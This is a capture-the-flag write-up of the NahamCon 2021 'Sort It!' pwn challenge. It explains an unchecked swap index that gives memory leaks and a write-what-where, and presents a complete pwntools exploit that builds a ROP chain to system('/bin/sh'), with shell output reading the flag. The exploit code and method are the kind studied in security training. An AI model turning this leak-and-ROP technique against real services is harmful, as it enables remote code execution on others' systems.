# NahamCon CTF 2021
## Sort It! [medium]
> Author: @M_alpha#3534>> Can you sort it?>> [sort_it](sort_it) [libc-2.31.so](libc-2.31.so)
Tags: _pwn_ _x86-64_ _write-what-where_ _remote-shell_
## Summary
```Sort the following words in alphabetical order.
Words list:
1. orange2. note3. apple4. cup5. bread6. zebra7. hand8. fan9. lion10. pencil```
`sort_it` is a simple manual sorting (by swapping pairs of entries) program; the kind that you torture kids with in elementary school.  
But, what if some of those kids, _naaaaaaughty kids_, just like you, draw outside of the lines?
What happens if you swap, say, `1` and `586291743596`?
Let's find out.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
Hey, look at that, someone got all the mitigations for free by doing _nothing_ but using the `gcc` defaults.
### Decompile with Ghidra
> `main` is too long to put here; all we need is the _main_ loop:
```c  while (!bVar1) {    clear();    print_words((long)&local_68);    printf("Enter the number for the word you want to select: ");    __isoc99_scanf(&DAT_001020a3,&local_78);    getchar();    local_78 = local_78 + -1;    printf("Enter the number for the word you want to replace it with: ");    __isoc99_scanf(&DAT_001020a3,&local_70);    getchar();    local_70 = local_70 + -1;    swap((long)&local_68,local_78,local_70);    clear();    print_words((long)&local_68);    printf("Are the words sorted? [y/n]: ");    fgets(yn,0x11,stdin);    if (yn[0] != 'n') {      if (yn[0] != 'y') {        puts("Invalid choice");        getchar();        exit(0);      }      bVar1 = true;    }  }  uVar2 = check((long)&local_68);  if ((int)uVar2 != 0) {    puts("You lose!");    exit(0);  }  puts("You win!!!!!");  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {    __stack_chk_fail();  }  return 0;```
First of all, to _win_, we need to have a sorted list, otherwise we hit `exit` and any hope of exploit through overwriting the return address is dashed.
Second point, look at `fgets(yn,0x11,stdin);`, it reads in 16 bytes into `yn` plus one for the training `\0` `fgets` tacts on.  We'll need this for the _what_ part of our _write-what-where_.
```void swap(long param_1,long param_2,long param_3){  long in_FS_OFFSET;  char local_18 [8];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  strncpy(local_18,(char *)(param_2 * 8 + param_1),8);  strncpy((char *)(param_1 + param_2 * 8),(char *)(param_3 * 8 + param_1),8);  strncpy((char *)(param_3 * 8 + param_1),local_18,8);  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {    __stack_chk_fail();  }  return;}```
Third point, `swap` does do not any input validation, it'll swap _anything<super>*</super>_.  This is the _where_ in our _write-what-where_.
> _<super>*</super>where_ is not _anywhere_; you are limited to `rw` areas of memory--look at the memory map.  However, there are a lot of places to pick from if you know _where_ to look, including in libc.
### Let's go shopping
We're going to first need to leak the base process address, the libc address, and the stack.
Setting a break point at `b *main+188` and examining the stack:
```0x00007fffffffe300│+0x0000: 0x00007ffff7fa9980  →  0x00000000fbad208b	 ← $rsp0x00007fffffffe308│+0x0008: 0x00007ffff7e45dbc  →  <setbuffer+204> test DWORD PTR [rbx], 0x80000x00007fffffffe310│+0x0010: 0x00000000000000000x00007fffffffe318│+0x0018: 0x00000000000000010x00007fffffffe320│+0x0020: 0x000065676e61726f ("orange"?)0x00007fffffffe328│+0x0028: 0x0000000065746f6e ("note"?)0x00007fffffffe330│+0x0030: 0x000000656c707061 ("apple"?)0x00007fffffffe338│+0x0038: 0x0000000000707563 ("cup"?)0x00007fffffffe340│+0x0040: 0x0000006461657262 ("bread"?)0x00007fffffffe348│+0x0048: 0x000000617262657a ("zebra"?)0x00007fffffffe350│+0x0050: 0x00000000646e6168 ("hand"?)0x00007fffffffe358│+0x0058: 0x00000000006e6166 ("fan"?)0x00007fffffffe360│+0x0060: 0x000000006e6f696c ("lion"?)0x00007fffffffe368│+0x0068: 0x00006c69636e6570 ("pencil"?)0x00007fffffffe370│+0x0070: 0x00007fffffffe470  →  0x00000000000000010x00007fffffffe378│+0x0078: 0xa12f3ad5180b39000x00007fffffffe380│+0x0080: 0x0000000000000000	 ← $rbp0x00007fffffffe388│+0x0088: 0x00007ffff7de50b3  →  <__libc_start_main+243> mov edi, eax0x00007fffffffe390│+0x0090: 0x00007ffff7ffc620  →  0x00041379000000000x00007fffffffe398│+0x0098: 0x00007fffffffe478  →  0x00007fffffffe6fe  →  "/pwd/datajerk/nahamconctf2021/sort_it/sort_it"0x00007fffffffe3a0│+0x00a0: 0x00000001000000000x00007fffffffe3a8│+0x00a8: 0x000055555555539f  →  <main+0> push rbp```
It should be obvious what 1-10 are.  14 would then be the return address.  This will be the target of our _write-what-where_, however we need to read this first to leak libc.
`main` can be had from 18.  We'll need this for the location of the global `yn`.
Lastly, 11 will do for leaking the stack.
That's it.  We just need a bit of math and we can pop the box.
## Exploit
Standard fare pwntools:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./sort_it_patched')
if args.REMOTE:	p = remote('challenge.nahamcon.com', 32674)	libc = ELF('./libc-2.31.so')else:	p = process(binary.path)	libc = binary.libc```
```python# get libc addressp.sendlineafter('continue...','')p.sendlineafter('select: ','1')p.sendlineafter('with: ','14')p.recvuntil('1. ')_ = p.recv(6)libc_start_main = u64(_ + b'\0\0') - 243libc.address = libc_start_main - libc.sym.__libc_start_mainlog.info('libc.address: ' + hex(libc.address))p.sendlineafter('[y/n]: ','n')```
Above this will swap the libc leak with the first element in the list (`orange`).  The provided libc is not dissimilar that what is included with Ubuntu 20.04, so the 243 offset should be the similar as well (and is).
```python# get main addressp.sendlineafter('select: ','1')p.sendlineafter('with: ','18')p.recvuntil('1. ')_ = p.recv(6)main = u64(_ + b'\0\0')binary.address = main - binary.sym.mainlog.info('binary.address: ' + hex(binary.address))log.info('yn: ' + hex(binary.sym.yn))p.sendlineafter('[y/n]: ','n')
rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]```
Leak `main` just like how libc was leaked, however from position 18 vs. 14.  Also there is no offset to worry about (see stack above in Analysis section).
While here we need to find a `pop rdi` gadget for the next step.
```python# get stack addressp.sendlineafter('select: ','1')p.sendlineafter('with: ','11')p.recvuntil('1. ')_ = p.recv(6)stack = u64(_ + b'\0\0') - (0x00007fffffffe470 - 0x00007fffffffe320)log.info('1. element: ' + hex(stack))p.sendlineafter('[y/n]: ','n')p.sendlineafter('select: ','1')p.sendlineafter('with: ','11')p.sendlineafter('[y/n]: ',8*b'n' + p64(pop_rdi+1))```
Again, capture a leak, however this time the stack from position 11.  Unlike the others this cannot be destructive, we need to swap it back.
To compute the actually stack location of the first item we need to subtract `(0x00007fffffffe470 - 0x00007fffffffe320)` from the returned value (this is based on the stack diagram above, look around, you'll see why).
Also notice unlike the previous two leaks the reply to the `[y/n]` question.  It's 8 `n`s followed by the address of `pop_rdi+1` (a.k.a. `ret`).  Remember `fgets` will take 17 (0x11) bytes and we need our attacks stack aligned, so write out any 8 bytes first starting with `n` followed by the value you need.
Now we're ready to start swapping in our _ropchain_.
```python# rop chain# pop_rdi + 1line = 14p.sendlineafter('select: ',str(line))p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))p.sendlineafter('[y/n]: ',8*b'n' + p64(pop_rdi))
# pop_rdi line += 1p.sendlineafter('select: ',str(line))p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))p.sendlineafter('[y/n]: ',8*b'n' + p64(libc.search(b'/bin/sh').__next__()))
# /bin/sh addressline += 1p.sendlineafter('select: ',str(line))p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))p.sendlineafter('[y/n]: ',8*b'n' + p64(libc.sym.system))
# system callline += 1p.sendlineafter('select: ',str(line))p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))p.sendlineafter('[y/n]: ',8*b'n' + b'A\0')```
Using the previous reply to the `[y/n]` questions we can start to _swap_ in our _ropchain_ starting from position 14 as identified in the stack discussion above (see Analysis section).
The last `[y/n]` just needs a single `A` after 8 `n`s (see below):
```python# shit we really do have to sort, or do we?  just change it all to Afor i in range(10):	p.sendlineafter('select: ',str(i+1))	p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))	if i < 9:		p.sendlineafter('[y/n]: ',8*b'n' + b'A\0')	else:		p.sendlineafter('[y/n]: ','y')
p.interactive()```
Right, so to _win_, to actually get our _ropchain_ to execute, we need to hit that sweet sweet return statement, and to do that we need to _win_ by having a sorted list.
Or, just replace the list with `A`s, then just `y` that the list is sorted at the end and claim your prize.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/nahamconctf2021/sort_it/sort_it_patched'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to challenge.nahamcon.com on port 31286: Done[*] '/pwd/datajerk/nahamconctf2021/sort_it/libc-2.31.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] libc.address: 0x7f39427da000[*] binary.address: 0x56551fcf8000[*] yn: 0x56551fcfc030[*] Loaded 14 cached gadgets for './sort_it_patched'[*] 1. element: 0x7ffdc148c010[*] Switching to interactive modeYou win!!!!!$ iduid=1000(challenge) gid=1000 groups=1000$ ls -ltotal 48drwxr-xr-x 1 root 0 12288 Mar  6 06:18 bindrwxr-xr-x 1 root 0  4096 Mar  6 06:18 devdrwxr-xr-x 1 root 0  4096 Mar  6 06:18 etc-r--r--r-- 1 root 0    39 Mar  6 06:17 flag.txtlrwxrwxrwx 1 root 0     7 Mar  6 06:17 lib -> usr/liblrwxrwxrwx 1 root 0     9 Mar  6 06:17 lib32 -> usr/lib32lrwxrwxrwx 1 root 0     9 Mar  6 06:17 lib64 -> usr/lib64lrwxrwxrwx 1 root 0    10 Mar  6 06:17 libx32 -> usr/libx32---x--x--x 1 root 0 16648 Mar  6 06:17 sort_itdrwxr-xr-x 1 root 0  4096 Mar  6 06:17 usr$ cat flag.txtflag{150997c12bbc936a1bedfad00053cdb5}```
## WTF is `sort_it_patched`
```#!/usr/bin/env python3
from pwn import *
binary = ELF('sort_it')binary.write(0x1208,5*b'\x90')binary.save('sort_it_patched')os.chmod('sort_it_patched',0o755)```
I _loath_ hardcoded escape/ANSI sequences that clear the screen, add unnecessary color, etc... to these challenges.  They are nothing more than an annoyance and add nothing for your learning, just your frustration.  Patch it out.
While you're add it, patch out `alarm` and any other shitfuckery that gets in your way (except for in this CTF's `smol` challenge where you actually _need_ to hack on `alarm` to win--pretty cool, so, I guess, think about what you patch out).
While I have your attention...
_Stego? Vigenere? Other not relevant ciphers, etc..._  Paaaaalease, you can do better.